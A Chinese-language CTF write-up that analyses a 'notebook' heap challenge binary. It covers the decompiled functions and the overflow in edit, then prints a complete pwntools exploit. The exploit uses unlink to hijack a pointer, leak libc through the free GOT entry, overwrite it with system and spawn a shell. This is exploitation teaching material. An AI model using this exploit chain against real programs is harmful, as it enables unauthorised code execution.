用实例来讲解unlink以及unlink的使用条件。 首先我们拿到程序notebook 我们开始分析这个例子 首先查看这个程序的保护机制 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 没有开启PIE,证明这一题可以得到bss段的地址。 然后进入IDA 首先进入创建堆块的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int create () { __int64 v0; signed int i; int v3; if ( number <= 3 ) { puts ("enter the lenth of notebook:" ); LODWORD(v0) = my_atoi(); v3 = v0; if ( (_DWORD)v0 ) { for ( i = 0 ; i <= 3 ; ++i ) { v0 = qword_6020A8[2 * i]; if ( !v0 ) { unk_6020A0[4 * i] = v3; qword_6020A8[2 * i] = malloc (v3); puts ("input the content:" ); sub_4008CB(qword_6020A8[2 * i], v3); ++number; LODWORD(v0) = 0 ; return v0; } } } else { puts ("sorry,invalid lenth" ); LODWORD(v0) = 0 ; } } else { LODWORD(v0) = puts ("this is no space " ); } return v0; }
发现这个函数的将创建堆块的地址放在一个全局变量的结构体数组里面。这个结构体的样子是这样的
1 2 3 4 5 Struct note { int64 size ; Int64* content }
结构体的大小固定,但是content堆块的大小任我们决定。但是输入的时候有检测,不能造成堆溢出。 然后进入修改堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 edit () { int v0; unsigned __int8 v2; if ( number ) { puts ("enter the index of notebook:" ); v2 = my_atoi(); if ( qword_6020A8[2 * (unsigned __int64)v2] ) { puts ("enter the lenth of notebook:" ); v0 = my_atoi(); sub_4008CB(qword_6020A8[2 * (unsigned __int64)v2], v0); return 0L L; } puts ("invalid notebook" ); } else { puts ("invalid choice" ); } return 0L L; }
这个函数首先在已有的堆块上面进行更改,但是我们输入的字节大小长度是任意的。所以这里存在堆溢出。当我们输入的大小长度超过了堆块的大小,就造成了溢出。 然后就再进入打印函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 show () { unsigned __int8 v0; __int64 result; unsigned __int8 v2; if ( number ) { puts ("enter the index:" ); v0 = my_atoi(); v2 = v0; result = qword_6020A8[2 * (unsigned __int64)v0]; if ( result ) { printf ("%d:%s\n" , v2, qword_6020A8[2 * (unsigned __int64)v2]); result = 0L L; } } else { puts ("invalid choice" ); result = 0L L; } return result; }
这个函数就是简单的打印出content堆块的信息 在进入释放堆块的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 delete () { __int64 result; int v1; if ( number ) { puts ("enter the index:" ); v1 = my_atoi(); if ( qword_6020A8[2 * v1] ) { free ((void *)qword_6020A8[2 * v1]); qword_6020A8[2 * v1] = 0L L; unk_6020A0[4 * v1] = 0 ; --number; puts ("success" ); result = 0L L; } else { puts ("invalid notebook" ); result = 0L L; } } else { puts ("invalid choice" ); result = 0L L; } return result; }
这个函数就是将输入的序号对应的堆块删除然后将结构体清零。 这一题我们解题思路就是我们能直接操作堆块,而且堆块存放的地址我们能知道(在bss段),并且存在堆溢出,所以我们能触发unlink漏洞,并且触发unlink漏洞之后我们能够控制一个指针,通过这个指针我们能过覆盖got的free地址。 然后我的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *p=process('./notebook' ) elf=ELF('./notebook' ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def create (size,content) : p.recvuntil('your choice?\n' ) p.sendline('1' ) p.recvuntil('enter the lenth of notebook:\n' ) p.sendline(str(size)) p.recvuntil('input the content:\n' ) p.sendline(content) def edit (index,size,content) : p.recvuntil('your choice?\n' ) p.sendline('2' ) p.recvuntil('enter the index of notebook:\n' ) p.sendline(str(index)) p.recvuntil('enter the lenth of notebook:\n' ) p.sendline(str(size)) sleep(0.1 ) p.sendline(content) def show (index) : p.recvuntil('your choice?\n' ) p.sendline('4' ) p.recvuntil('enter the index:\n' ) p.sendline(str(index)) def free (index) : p.recvuntil('your choice?\n' ) p.sendline('3' ) p.recvuntil('enter the index:\n' ) p.sendline(str(index)) create(0x100 ,"/bin/sh\x00" ) create(0x30 ,'aaaaa' ) create(0x80 ,'ccccccc' ) create(0x80 ,'/bin/sh\x00' ) array=0x6020A0 +8 +0x10 payload=p64(0 )+p64(0x20 )+p64(array-0x18 )+p64(array-0x10 )+p64(0x20 ) payload+=(0x30 -len(payload))*'a' +p64(0x30 )+p64(0x90 ) edit(1 ,len(payload),payload) free(2 ) payload=p64(0x100 )+p64(elf.got['free' ])+p64(0x30 ) edit(1 ,len(payload)+2 ,payload) show(0 ) p.recvuntil(':' ) index=p.recv(6 ) free_addr=u64(index.ljust(8 ,'\x00' )) print hex(free_addr)libc_base=free_addr-libc.symbols['free' ] system_addr=libc_base+libc.symbols['system' ] payload=p64(system_addr) edit(0 ,len(payload),payload) free(3 ) p.interactive()